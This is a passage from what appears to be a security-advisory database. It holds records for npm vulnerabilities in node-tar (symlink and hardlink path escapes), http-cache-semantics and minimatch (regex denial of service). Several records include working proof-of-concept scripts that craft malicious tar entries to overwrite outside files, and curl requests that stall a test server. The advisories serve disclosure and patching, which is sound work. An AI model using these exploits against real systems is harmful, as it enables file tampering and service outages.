\u0027SymbolicLink\u0027,\n size: 0,\n linkpath: targetSym \n})\nh2.encode()\n\n// Write binary tar\nfs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))\n\nconsole.log(\u0027[*] Extracting malicious tarball...\u0027)\n\n// 3. Extract with default secure settings\ntar.x({\n cwd: out,\n file: tarFile,\n preservePaths: false\n}).then(() =\u003e {\n console.log(\u0027[*] Verifying payload...\u0027)\n\n // Test Hardlink Overwrite\n try {\n fs.writeFileSync(path.join(out, \u0027exploit_hard\u0027), \u0027OVERWRITTEN\u0027)\n \n if (fs.readFileSync(secret, \u0027utf8\u0027) === \u0027OVERWRITTEN\u0027) {\n console.log(\u0027[+] VULN CONFIRMED: Hardlink overwrite successful\u0027)\n } else {\n console.log(\u0027[-] Hardlink failed\u0027)\n }\n } catch (e) {}\n\n // Test Symlink Poisoning\n try {\n if (fs.readlinkSync(path.join(out, \u0027exploit_sym\u0027)) === targetSym) {\n console.log(\u0027[+] VULN CONFIRMED: Symlink points to absolute path\u0027)\n } else {\n console.log(\u0027[-] Symlink failed\u0027)\n }\n } catch (e) {}\n})\n\n```\n\n### Impact\n\n* **Arbitrary File Overwrite:** An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.\n* **Remote Code Execution (RCE):** In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all `Link` and `SymbolicLink` tar entries from extracted packages.)",
"id": "GHSA-8qq5-rm4j-mr97",
"modified": "2026-02-18T23:43:46Z",
"published": "2026-01-16T21:16:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8qq5-rm4j-mr97"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23745"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/340eb285b6d986e91969a1170d7fe9b0face405e"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "node-tar is Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization"
}
GHSA-RC47-6667-2J5J
Vulnerability from github – Published: 2023-01-31 06:30 – Updated: 2025-02-13 18:36http-cache semantics contains an Inefficient Regular Expression Complexity , leading to Denial of Service. This affects versions of the package http-cache-semantics before 4.1.1. The issue can be exploited via malicious request header values sent to a server, when that server reads the cache policy from the request using this library.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "http-cache-semantics"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.webjars.npm:http-cache-semantics"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-25881"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2023-02-01T23:48:07Z",
"nvd_published_at": "2023-01-31T05:15:00Z",
"severity": "HIGH"
},
"details": "http-cache semantics contains an Inefficient Regular Expression Complexity , leading to Denial of Service. This affects versions of the package http-cache-semantics before 4.1.1. The issue can be exploited via malicious request header values sent to a server, when that server reads the cache policy from the request using this library.",
"id": "GHSA-rc47-6667-2j5j",
"modified": "2025-02-13T18:36:37Z",
"published": "2023-01-31T06:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25881"
},
{
"type": "WEB",
"url": "https://github.com/kornelski/http-cache-semantics/commit/560b2d8ef452bbba20ffed69dc155d63ac757b74"
},
{
"type": "PACKAGE",
"url": "https://github.com/kornelski/http-cache-semantics"
},
{
"type": "WEB",
"url": "https://github.com/kornelski/http-cache-semantics/blob/master/index.js%23L83"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20230622-0008"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-3253332"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JS-HTTPCACHESEMANTICS-3248783"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "http-cache-semantics vulnerable to Regular Expression Denial of Service"
}
GHSA-23C5-XMQV-RM74
Vulnerability from github – Published: 2026-02-26 22:07 – Updated: 2026-02-26 22:07Summary
Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.
Details
The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:
: this.type === '*' && bodyDotAllowed ? `)?`
: `)${this.type}`
This produces the following regexps:
| Pattern | Generated regex |
|---|---|
*(a\|b) |
/^(?:a\|b)*$/ |
*(*(a\|b)) |
/^(?:(?:a\|b)*)*$/ |
*(*(*(a\|b))) |
/^(?:(?:(?:a\|b)*)*)*$/ |
*(*(*(*(a\|b)))) |
/^(?:(?:(?:(?:a\|b)*)*)*)*$/ |
These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.
The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.
Measured times via minimatch():
| Pattern | Input | Time |
|---|---|---|
*(*(a\|b)) |
a x30 + z |
~68,000ms |
*(*(*(a\|b))) |
a x20 + z |
~124,000ms |
*(*(*(*(a\|b)))) |
a x25 + z |
~116,000ms |
*(a\|a) |
a x25 + z |
~2,000ms |
Depth inflection at fixed input a x16 + z:
| Depth | Pattern | Time |
|---|---|---|
| 1 | *(a\|b) |
0ms |
| 2 | *(*(a\|b)) |
4ms |
| 3 | *(*(*(a\|b))) |
270ms |
| 4 | *(*(*(*(a\|b)))) |
115,000ms |
Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- verify the generated regexps and timing (standalone script)
Save as poc4-validate.mjs and run with node poc4-validate.mjs:
import { minimatch, Minimatch } from 'minimatch'
function timed(fn) {
const s = process.hrtime.bigint()
let result, error
try { result = fn() } catch(e) { error = e }
const ms = Number(process.hrtime.bigint() - s) / 1e6
return { ms, result, error }
}
// Verify generated regexps
for (let depth = 1; depth <= 4; depth++) {
let pat = 'a|b'
for (let i = 0; i < depth; i++) pat = `*(${pat})`
const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()
console.log(`depth=${depth} "${pat}" -> ${re}`)
}
// depth=1 "*(a|b)" -> /^(?:a|b)*$/
// depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/
// depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/
// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
// Safe-length timing (exponential growth confirmation without multi-minute hang)
const cases = [
['*(*(*(a|b)))', 15], // ~270ms
['*(*(*(a|b)))', 17], // ~800ms
['*(*(*(a|b)))', 19], // ~2400ms
['*(*(a|b))', 23], // ~260ms
['*(a|b)', 101], // <5ms (depth=1 control)
]
for (const [pat, n] of cases) {
const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))
console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)
}
// Confirm noext disables the vulnerability
const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))
console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)
// +() is equally affected
const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))
console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)
Observed output:
depth=1 "*(a|b)" -> /^(?:a|b)*$/
depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))" n=23: 257ms result=false
"*(a|b)" n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false
Step 2 -- HTTP server (event loop starvation proof)
Save as poc4-server.mjs:
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'
const PORT = 3001
http.createServer((req, res) => {
const url = new URL(req.url, `http://localhost:${PORT}`)
const pattern = url.searchParams.get('pattern') ?? ''
const path = url.searchParams.get('path') ?? ''
const start = process.hrtime.bigint()
const result = minimatch(path, pattern)
const ms = Number(process.hrtime.bigint() - start) / 1e6
console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)
res.writeHead(200, { 'Content-Type': 'application/json' })
res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
}).listen(PORT, () => console.log(`listening on ${PORT}`))
Terminal 1 -- start the server:
node poc4-server.mjs
Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:
curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &
Terminal 3 -- send a benign request while the attack is in-flight:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"
Observed output -- Terminal 2 (attack):
{"result":false,"ms":"64149"}
Observed output -- Terminal 3 (benign, concurrent):
{"result":false,"ms":"0"}
time_total: 63.022047s
Terminal 1 (server log):
[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false
The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.
Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.
Impact
Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.
Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.
+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).
Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.4.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.2.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.1.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.2.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27904"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-26T22:07:15Z",
"nvd_published_at": "2026-02-26T02:16:21Z",
"severity": "HIGH"
},
"details": "### Summary\n\nNested `*()` extglobs produce regexps with nested unbounded quantifiers (e.g. `(?:(?:a|b)*)*`), which exhibit catastrophic backtracking in V8. With a 12-byte pattern `*(*(*(a|b)))` and an 18-byte non-matching input, `minimatch()` stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default `minimatch()` API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects `+()` extglobs equally.\n\n---\n\n### Details\n\nThe root cause is in `AST.toRegExpSource()` at [`src/ast.ts#L598`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/ast.ts#L598). For the `*` extglob type, the close token emitted is `)*` or `)?`, wrapping the recursive body in `(?:...)*`. When extglobs are nested, each level adds another `*` quantifier around the previous group:\n\n```typescript\n: this.type === \u0027*\u0027 \u0026\u0026 bodyDotAllowed ? `)?`\n: `)${this.type}`\n```\n\nThis produces the following regexps:\n\n| Pattern | Generated regex |\n|----------------------|------------------------------------------|\n| `*(a\\|b)` | `/^(?:a\\|b)*$/` |\n| `*(*(a\\|b))` | `/^(?:(?:a\\|b)*)*$/` |\n| `*(*(*(a\\|b)))` | `/^(?:(?:(?:a\\|b)*)*)*$/` |\n| `*(*(*(*(a\\|b))))` | `/^(?:(?:(?:(?:a\\|b)*)*)*)*$/` |\n\nThese are textbook nested-quantifier patterns. Against an input of repeated `a` characters followed by a non-matching character `z`, V8\u0027s backtracking engine explores an exponential number of paths before returning `false`.\n\nThe generated regex is stored on `this.set` and evaluated inside `matchOne()` at [`src/index.ts#L1010`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L1010) via `p.test(f)`. It is reached through the standard `minimatch()` call with no configuration.\n\nMeasured times via `minimatch()`:\n\n| Pattern | Input | Time |\n|----------------------|--------------------|------------|\n| `*(*(a\\|b))` | `a` x30 + `z` | ~68,000ms |\n| `*(*(*(a\\|b)))` | `a` x20 + `z` | ~124,000ms |\n| `*(*(*(*(a\\|b))))` | `a` x25 + `z` | ~116,000ms |\n| `*(a\\|a)` | `a` x25 + `z` | ~2,000ms |\n\nDepth inflection at fixed input `a` x16 + `z`:\n\n| Depth | Pattern | Time |\n|-------|----------------------|--------------|\n| 1 | `*(a\\|b)` | 0ms |\n| 2 | `*(*(a\\|b))` | 4ms |\n| 3 | `*(*(*(a\\|b)))` | 270ms |\n| 4 | `*(*(*(*(a\\|b))))` | 115,000ms |\n\nGoing from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.\n\n---\n\n### PoC\n\nTested on minimatch@10.2.2, Node.js 20.\n\n**Step 1 -- verify the generated regexps and timing (standalone script)**\n\nSave as `poc4-validate.mjs` and run with `node poc4-validate.mjs`:\n\n```javascript\nimport { minimatch, Minimatch } from \u0027minimatch\u0027\n\nfunction timed(fn) {\n const s = process.hrtime.bigint()\n let result, error\n try { result = fn() } catch(e) { error = e }\n const ms = Number(process.hrtime.bigint() - s) / 1e6\n return { ms, result, error }\n}\n\n// Verify generated regexps\nfor (let depth = 1; depth \u003c= 4; depth++) {\n let pat = \u0027a|b\u0027\n for (let i = 0; i \u003c depth; i++) pat = `*(${pat})`\n const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()\n console.log(`depth=${depth} \"${pat}\" -\u003e ${re}`)\n}\n// depth=1 \"*(a|b)\" -\u003e /^(?:a|b)*$/\n// depth=2 \"*(*(a|b))\" -\u003e /^(?:(?:a|b)*)*$/\n// depth=3 \"*(*(*(a|b)))\" -\u003e /^(?:(?:(?:a|b)*)*)*$/\n// depth=4 \"*(*(*(*(a|b))))\" -\u003e /^(?:(?:(?:(?:a|b)*)*)*)*$/\n\n// Safe-length timing (exponential growth confirmation without multi-minute hang)\nconst cases = [\n [\u0027*(*(*(a|b)))\u0027, 15], // ~270ms\n [\u0027*(*(*(a|b)))\u0027, 17], // ~800ms\n [\u0027*(*(*(a|b)))\u0027, 19], // ~2400ms\n [\u0027*(*(a|b))\u0027, 23], // ~260ms\n [\u0027*(a|b)\u0027, 101], // \u003c5ms (depth=1 control)\n]\nfor (const [pat, n] of cases) {\n const t = timed(() =\u003e minimatch(\u0027a\u0027.repeat(n) + \u0027z\u0027, pat))\n console.log(`\"${pat}\" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)\n}\n\n// Confirm noext disables the vulnerability\nconst t_noext = timed(() =\u003e minimatch(\u0027a\u0027.repeat(18) + \u0027z\u0027, \u0027*(*(*(a|b)))\u0027, { noext: true }))\nconsole.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)\n\n// +() is equally affected\nconst t_plus = timed(() =\u003e minimatch(\u0027a\u0027.repeat(17) + \u0027z\u0027, \u0027+(+(+(a|b)))\u0027))\nconsole.log(`\"+(+(+(a|b)))\" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)\n```\n\nObserved output:\n```\ndepth=1 \"*(a|b)\" -\u003e /^(?:a|b)*$/\ndepth=2 \"*(*(a|b))\" -\u003e /^(?:(?:a|b)*)*$/\ndepth=3 \"*(*(*(a|b)))\" -\u003e /^(?:(?:(?:a|b)*)*)*$/\ndepth=4 \"*(*(*(*(a|b))))\" -\u003e /^(?:(?:(?:(?:a|b)*)*)*)*$/\n\"*(*(*(a|b)))\" n=15: 269ms result=false\n\"*(*(*(a|b)))\" n=17: 268ms result=false\n\"*(*(*(a|b)))\" n=19: 2408ms result=false\n\"*(*(a|b))\" n=23: 257ms result=false\n\"*(a|b)\" n=101: 0ms result=false\nnoext=true: 0ms (should be ~0ms)\n\"+(+(+(a|b)))\" n=18: 6300ms result=false\n```\n\n**Step 2 -- HTTP server (event loop starvation proof)**\n\nSave as `poc4-server.mjs`:\n\n```javascript\nimport http from \u0027node:http\u0027\nimport { URL } from \u0027node:url\u0027\nimport { minimatch } from \u0027minimatch\u0027\n\nconst PORT = 3001\nhttp.createServer((req, res) =\u003e {\n const url = new URL(req.url, `http://localhost:${PORT}`)\n const pattern = url.searchParams.get(\u0027pattern\u0027) ?? \u0027\u0027\n const path = url.searchParams.get(\u0027path\u0027) ?? \u0027\u0027\n\n const start = process.hrtime.bigint()\n const result = minimatch(path, pattern)\n const ms = Number(process.hrtime.bigint() - start) / 1e6\n\n console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern=\"${pattern}\" path=\"${path.slice(0,30)}\"`)\n res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 })\n res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + \u0027\\n\u0027)\n}).listen(PORT, () =\u003e console.log(`listening on ${PORT}`))\n```\n\nTerminal 1 -- start the server:\n```\nnode poc4-server.mjs\n```\n\nTerminal 2 -- fire the attack (depth=3, 19 a\u0027s + z) and return immediately:\n```\ncurl \"http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29\u0026path=aaaaaaaaaaaaaaaaaaaz\" \u0026\n```\n\nTerminal 3 -- send a benign request while the attack is in-flight:\n```\ncurl -w \"\\ntime_total: %{time_total}s\\n\" \"http://localhost:3001/match?pattern=*%28a%7Cb%29\u0026path=aaaz\"\n```\n\n**Observed output -- Terminal 2 (attack):**\n```\n{\"result\":false,\"ms\":\"64149\"}\n```\n\n**Observed output -- Terminal 3 (benign, concurrent):**\n```\n{\"result\":false,\"ms\":\"0\"}\n\ntime_total: 63.022047s\n```\n\n**Terminal 1 (server log):**\n```\n[2026-02-20T09:41:17.624Z] pattern=\"*(*(*(a|b)))\" path=\"aaaaaaaaaaaaaaaaaaaz\"\n[2026-02-20T09:42:21.775Z] done in 64149ms result=false\n[2026-02-20T09:42:21.779Z] pattern=\"*(a|b)\" path=\"aaaz\"\n[2026-02-20T09:42:21.779Z] done in 0ms result=false\n```\n\nThe server reports `\"ms\":\"0\"` for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second `time_total` is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.\n\nNote: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8\u0027s JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.\n\n---\n\n### Impact\n\nAny context where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.\n\nDepth 3 (`*(*(*(a|b)))`, 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (`*(*(a|b))`, 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.\n\n`+()` extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).\n\n**Mitigation available:** passing `{ noext: true }` to `minimatch()` disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.",
"id": "GHSA-23c5-xmqv-rm74",
"modified": "2026-02-26T22:07:15Z",
"published": "2026-02-26T22:07:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/minimatch/security/advisories/GHSA-23c5-xmqv-rm74"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27904"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/minimatch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions"
}
GHSA-9PPJ-QMQM-Q256
Vulnerability from github – Published: 2026-03-10 23:44 – Updated: 2026-03-10 23:44Summary
tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.
Details
The extraction logic in Unpack[STRIPABSOLUTEPATH] validates .. segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored linkpath to the stripped value.
What happens with linkpath: "C:../../../target.txt":
1. stripAbsolutePath() removes C: and rewrites the value to ../../../target.txt.
2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.
3. Symlink creation uses the rewritten value (../../../target.txt) from nested path a/b/l.
4. Writing through the extracted symlink overwrites the outside file (../target.txt).
This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.
PoC
Tested on Arch Linux with tar@7.5.10.
PoC script (poc.cjs):
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
Run:
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt
Observed output:
PWNED
../../../target.txt
lrwxrwxrwx - joshuavr 7 Mar 18:37 a/b/l -> ../../../target.txt
.rw-r--r-- 6 joshuavr 7 Mar 18:37 ../target.txt
PWNED confirms outside file content overwrite. readlink and ls -l confirm the extracted symlink points outside the extraction directory.
Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.
Realistic scenarios: - CLI tools unpacking untrusted tarballs into a working directory - build/update pipelines consuming third-party archives - services that import user-supplied tar files
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.5.10"
},
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-31802"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-10T23:44:58Z",
"nvd_published_at": "2026-03-10T07:44:58Z",
"severity": "HIGH"
},
"details": "### Summary\n`tar` (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as `C:../../../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.\n\n### Details\nThe extraction logic in `Unpack[STRIPABSOLUTEPATH]` validates `..` segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored `linkpath` to the stripped value.\n\nWhat happens with `linkpath: \"C:../../../target.txt\"`:\n1. `stripAbsolutePath()` removes `C:` and rewrites the value to `../../../target.txt`.\n2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.\n3. Symlink creation uses the rewritten value (`../../../target.txt`) from nested path `a/b/l`.\n4. Writing through the extracted symlink overwrites the outside file (`../target.txt`).\n\nThis is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.\n\n### PoC\nTested on Arch Linux with `tar@7.5.10`.\n\nPoC script (`poc.cjs`):\n\n```js\nconst fs = require(\u0027fs\u0027)\nconst path = require(\u0027path\u0027)\nconst { Header, x } = require(\u0027tar\u0027)\n\nconst cwd = process.cwd()\nconst target = path.resolve(cwd, \u0027..\u0027, \u0027target.txt\u0027)\nconst tarFile = path.join(cwd, \u0027poc.tar\u0027)\n\nfs.writeFileSync(target, \u0027ORIGINAL\\n\u0027)\n\nconst b = Buffer.alloc(1536)\nnew Header({\n path: \u0027a/b/l\u0027,\n type: \u0027SymbolicLink\u0027,\n linkpath: \u0027C:../../../target.txt\u0027,\n}).encode(b, 0)\nfs.writeFileSync(tarFile, b)\n\nx({ cwd, file: tarFile }).then(() =\u003e {\n fs.writeFileSync(path.join(cwd, \u0027a/b/l\u0027), \u0027PWNED\\n\u0027)\n process.stdout.write(fs.readFileSync(target, \u0027utf8\u0027))\n})\n```\n\nRun:\n\n```bash\nnode poc.cjs \u0026\u0026 readlink a/b/l \u0026\u0026 ls -l a/b/l ../target.txt\n```\n\nObserved output:\n\n```text\nPWNED\n../../../target.txt\nlrwxrwxrwx - joshuavr 7 Mar 18:37 \udb82\udc6f a/b/l -\u003e ../../../target.txt\n.rw-r--r-- 6 joshuavr 7 Mar 18:37 \uf15c ../target.txt\n```\n\n`PWNED` confirms outside file content overwrite. `readlink` and `ls -l` confirm the extracted symlink points outside the extraction directory.\n\n### Impact\nThis is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.\n\nRealistic scenarios:\n- CLI tools unpacking untrusted tarballs into a working directory\n- build/update pipelines consuming third-party archives\n- services that import user-supplied tar files",
"id": "GHSA-9ppj-qmqm-q256",
"modified": "2026-03-10T23:44:58Z",
"published": "2026-03-10T23:44:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-9ppj-qmqm-q256"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31802"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
}
],
"schema_version": "1.4.0",
"severity": [
